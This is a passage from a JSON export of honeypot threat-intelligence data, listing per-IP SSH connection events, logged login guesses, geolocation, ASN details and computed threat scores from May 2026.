        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T19:58:15.352000+00:00",
        "last_seen_30d": "2026-05-06T20:11:30.929000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 15
      }
    },
    "102.134.171.24": {
      "attack_count": 24,
      "first_seen": "2026-05-14T16:07:36.647Z",
      "last_seen": "2026-05-14T16:09:51.650Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Botswana",
      "country_code": "BW",
      "city": "Gaborone",
      "asn": 327776,
      "as_org": "Stature-PTY-LTD",
      "threat_score": 13.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 51,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T16:07:36.647000+00:00",
        "last_seen_30d": "2026-05-14T16:20:41.457000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 27,
        "Cowrie": 24
      }
    },
    "216.252.238.157": {
      "attack_count": 24,
      "first_seen": "2026-05-07T15:00:23.085Z",
      "last_seen": "2026-05-11T20:30:25.514Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 40676,
      "as_org": "Psychz Networks",
      "threat_score": 10.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.5,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T15:00:23.085000+00:00",
        "last_seen_30d": "2026-05-11T20:31:33.930000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "154.88.171.168": {
      "attack_count": 22,
      "first_seen": "2026-05-24T00:54:02.905Z",
      "last_seen": "2026-05-24T01:06:24.727Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santiago de los Caballeros",
      "asn": 271988,
      "as_org": "ISRAEL DE LOS SANTOS WIFI SRL",
      "threat_score": 21.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T00:54:02.905000+00:00",
        "last_seen_30d": "2026-05-24T01:07:34.040000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 13
      }
    },
    "45.153.34.158": {
      "attack_count": 20,
      "first_seen": "2026-05-07T18:12:57.884Z",
      "last_seen": "2026-05-08T05:40:33.148Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "temponly",
        "web"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 6.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 33,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T18:12:57.884000+00:00",
        "last_seen_30d": "2026-05-08T05:41:39.041000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 13
      }
    },
    "81.47.8.250": {
      "attack_count": 20,
      "first_seen": "2026-05-18T22:17:01.496Z",
      "last_seen": "2026-05-19T05:53:04.203Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": null,
      "asn": 3352,
      "as_org": "Telefonica De Espana S.a.u.",
      "threat_score": 17.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:17:01.496000+00:00",
        "last_seen_30d": "2026-05-19T05:54:09.201000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 10
      }
    },
    "103.118.245.108": {
      "attack_count": 18,
      "first_seen": "2026-05-24T13:18:22.152Z",
      "last_seen": "2026-05-24T14:31:02.150Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "kelltech",
        "root"
      ],
      "passwords_attempted": [
        "Kelltech@123",
        "P@ssword@2026",
        "changeme123"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 55933,
      "as_org": "Cloudie Limited",
      "threat_score": 20.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T13:18:22.152000+00:00",
        "last_seen_30d": "2026-05-24T14:32:04.933000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 9
      }
    },
    "91.98.236.136": {
      "attack_count": 18,
      "first_seen": "2026-05-15T14:53:17.481Z",
      "last_seen": "2026-05-30T06:03:31.597Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Nuremberg",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 37.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.2,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T14:53:17.481000+00:00",
        "last_seen_30d": "2026-05-30T06:04:40.269000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "31.146.114.81": {
      "attack_count": 16,
      "first_seen": "2026-05-24T11:47:38.088Z",
      "last_seen": "2026-05-24T11:57:46.726Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Georgia",
      "country_code": "GE",
      "city": "Tbilisi",
      "asn": 35805,
      "as_org": "JSC Silknet",
      "threat_score": 20.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T11:47:38.088000+00:00",
        "last_seen_30d": "2026-05-24T11:58:51.480000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 10
      }
    },
    "36.231.116.126": {
      "attack_count": 16,
      "first_seen": "2026-05-19T03:24:58.595Z",
      "last_seen": "2026-05-19T04:18:01.715Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 16.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T03:24:58.595000+00:00",
        "last_seen_30d": "2026-05-19T04:19:03.047000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 8
      }
    },
    "166.62.41.96": {
      "attack_count": 14,
      "first_seen": "2026-05-07T18:37:31.454Z",
      "last_seen": "2026-05-07T19:20:26.150Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398101,
      "as_org": "GoDaddy.com, LLC",
      "threat_score": 5.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T18:37:31.454000+00:00",
        "last_seen_30d": "2026-05-07T19:21:30.723000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 13
      }
    },
    "93.170.189.240": {
      "attack_count": 14,
      "first_seen": "2026-05-24T16:50:39.688Z",
      "last_seen": "2026-05-24T17:00:53.593Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Sniatyn",
      "asn": 62327,
      "as_org": "Yuriichuk Vatalii",
      "threat_score": 20.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T16:50:39.688000+00:00",
        "last_seen_30d": "2026-05-24T17:02:38.210000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 10
      }
    },
    "3.142.134.96": {
      "attack_count": 11,
      "first_seen": "2026-05-26T12:32:05.890Z",
      "last_seen": "2026-05-26T12:42:15.613Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 49.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.9,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 197,
        "days_active_30d": 1,
        "ports_targeted_30d": 18,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-26T09:49:16+00:00",
        "last_seen_30d": "2026-05-26T14:09:17.529000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 117,
        "Honeytrap": 69,
        "Cowrie": 11
      }
    },
    "187.116.242.61": {
      "attack_count": 10,
      "first_seen": "2026-05-21T07:57:09.143Z",
      "last_seen": "2026-05-21T10:15:48.284Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Pedro Leopoldo",
      "asn": 26599,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T07:57:09.143000+00:00",
        "last_seen_30d": "2026-05-21T10:16:50.103000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "109.105.210.59": {
      "attack_count": 9,
      "first_seen": "2026-05-07T09:49:16.247Z",
      "last_seen": "2026-05-07T09:49:57.448Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 21859,
      "as_org": "Zenlayer Inc",
      "threat_score": 74.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.2,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 105,
        "days_active_30d": 25,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-03T00:03:55.385000+00:00",
        "last_seen_30d": "2026-05-27T01:51:45.196000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 69,
        "Honeytrap": 23,
        "Cowrie": 9,
        "Dionaea": 2,
        "H0neytr4p": 2
      }
    },
    "117.251.194.217": {
      "attack_count": 6,
      "first_seen": "2026-05-19T04:16:08.106Z",
      "last_seen": "2026-05-19T04:35:13.437Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Chennai",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 13.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T04:16:08.106000+00:00",
        "last_seen_30d": "2026-05-19T04:36:18.156000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "179.61.192.3": {
      "attack_count": 6,
      "first_seen": "2026-05-05T04:24:39.740Z",
      "last_seen": "2026-05-05T04:24:46.139Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 14670,
      "as_org": "WHG Hosting Services Ltd",
      "threat_score": 2.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T04:24:39.740000+00:00",
        "last_seen_30d": "2026-05-05T04:25:54.862000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "182.172.217.66": {
      "attack_count": 6,
      "first_seen": "2026-05-07T07:50:20.631Z",
      "last_seen": "2026-05-15T09:59:18.895Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Guro-gu",
      "asn": 7562,
      "as_org": "HCN Dongjak",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T07:50:20.631000+00:00",
        "last_seen_30d": "2026-05-15T10:00:22.903000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6
      }
    },
    "185.247.137.124": {
      "attack_count": 6,
      "first_seen": "2026-05-03T04:43:46.025Z",
      "last_seen": "2026-05-03T04:43:48.780Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Manchester",
      "asn": 211298,
      "as_org": "Driftnet Ltd",
      "threat_score": 10.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 7.5,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 9,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T04:43:46.025000+00:00",
        "last_seen_30d": "2026-05-11T12:18:54.038000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 6
      }
    },
    "186.226.60.52": {
      "attack_count": 6,
      "first_seen": "2026-05-14T07:00:29.590Z",
      "last_seen": "2026-05-14T07:00:36.993Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Rio de Janeiro",
      "asn": 262954,
      "as_org": "VirtuaServer Informatica Ltda",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T07:00:29.590000+00:00",
        "last_seen_30d": "2026-05-14T07:01:37.754000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "197.242.148.130": {
      "attack_count": 6,
      "first_seen": "2026-05-08T20:25:03.938Z",
      "last_seen": "2026-05-08T20:26:51.059Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Johannesburg",
      "asn": 37611,
      "as_org": "AFRIHOST-SP",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T19:54:03.820000+00:00",
        "last_seen_30d": "2026-05-08T20:30:33.569000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Suricata": 40,
        "Cowrie": 6
      }
    },
    "66.132.224.92": {
      "attack_count": 6,
      "first_seen": "2026-05-22T03:31:04.651Z",
      "last_seen": "2026-05-22T03:31:43.480Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 89.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 87,
        "days_active_30d": 30,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-02T04:06:19.408000+00:00",
        "last_seen_30d": "2026-05-31T20:43:29.684000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 55,
        "Honeytrap": 14,
        "Cowrie": 6,
        "Redishoneypot": 6,
        "ElasticPot": 4,
        "Ipphoney": 1,
        "Sentrypeer": 1
      }
    },
    "91.229.239.210": {
      "attack_count": 6,
      "first_seen": "2026-05-08T09:09:41.589Z",
      "last_seen": "2026-05-08T09:09:44.294Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Moldova",
      "country_code": "MD",
      "city": null,
      "asn": 200019,
      "as_org": "Alexhost Srl",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T09:09:41.589000+00:00",
        "last_seen_30d": "2026-05-08T09:10:53.910000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "156.227.235.219": {
      "attack_count": 5,
      "first_seen": "2026-05-17T00:02:27.386Z",
      "last_seen": "2026-05-17T00:02:29.702Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "hunter2"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 138152,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T00:02:27.386000+00:00",
        "last_seen_30d": "2026-05-17T00:03:37.209000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "186.67.140.242": {
      "attack_count": 4,
      "first_seen": "2026-05-24T16:53:35.192Z",
      "last_seen": "2026-05-24T16:55:35.228Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Santiago",
      "asn": 27651,
      "as_org": "ENTEL CHILE S.A.",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T16:53:35.192000+00:00",
        "last_seen_30d": "2026-05-24T16:56:48.811000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "37.13.17.140": {
      "attack_count": 4,
      "first_seen": "2026-05-23T01:30:32.983Z",
      "last_seen": "2026-05-23T01:30:52.417Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Teguise",
      "asn": 3352,
      "as_org": "Telefonica De Espana S.a.u.",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T01:30:32.983000+00:00",
        "last_seen_30d": "2026-05-23T01:32:01.468000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "52.23.241.253": {
      "attack_count": 4,
      "first_seen": "2026-05-23T00:56:49.553Z",
      "last_seen": "2026-05-23T00:56:58.641Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 35.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 14.2,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 17,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-07T00:54:07+00:00",
        "last_seen_30d": "2026-05-23T00:58:04.138000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 4,
        "Honeytrap": 2
      }
    },
    "66.132.224.238": {
      "attack_count": 4,
      "first_seen": "2026-05-22T13:32:13.845Z",
      "last_seen": "2026-05-22T13:32:29.016Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 91.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
